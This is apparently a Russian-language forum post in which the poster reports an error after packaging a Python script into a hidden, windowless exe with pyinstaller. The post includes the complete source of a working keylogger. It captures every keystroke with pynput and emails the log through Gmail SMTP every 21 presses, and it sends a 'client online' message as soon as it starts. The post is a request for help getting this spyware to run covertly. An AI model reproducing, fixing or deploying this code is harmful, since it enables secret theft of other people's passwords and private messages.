Здравствуйте столкнулся с проблемой после компиляции файла в exe
Использовал я pyinstaller
pyinstaller --onefile --noconsole keylogger_one.py
Ошибка
Исходник
#!/usr/bin/env python
from pynput import keyboard
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
def send_mail(message):
email = "email"
password = "password"
msg = MIMEMultipart()
msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP('smtp.gmail.com: 587')
server.starttls()
server.login(email, password)
server.sendmail(email, email, msg.as_string())
server.quit()
logs = ""
press = 0
send_mail("Клиент в сети!")
def process_key_press(key):
global logs
global press
try:
logs = str(logs) + str(key.char)
except AttributeError:
if key == key.space:
logs = logs + " "
else:
logs = logs + " " + str(key) + " "
press = press + 1
if press == 21:
send_mail(logs)
press = 0
logs = ""
print(press)
def start():
keyboard_logger = keyboard.Listener(on_press=process_key_press)
with keyboard_logger:
keyboard_logger.join()
start()
Лог компиляции https://pastebin.com/m0kE1d7y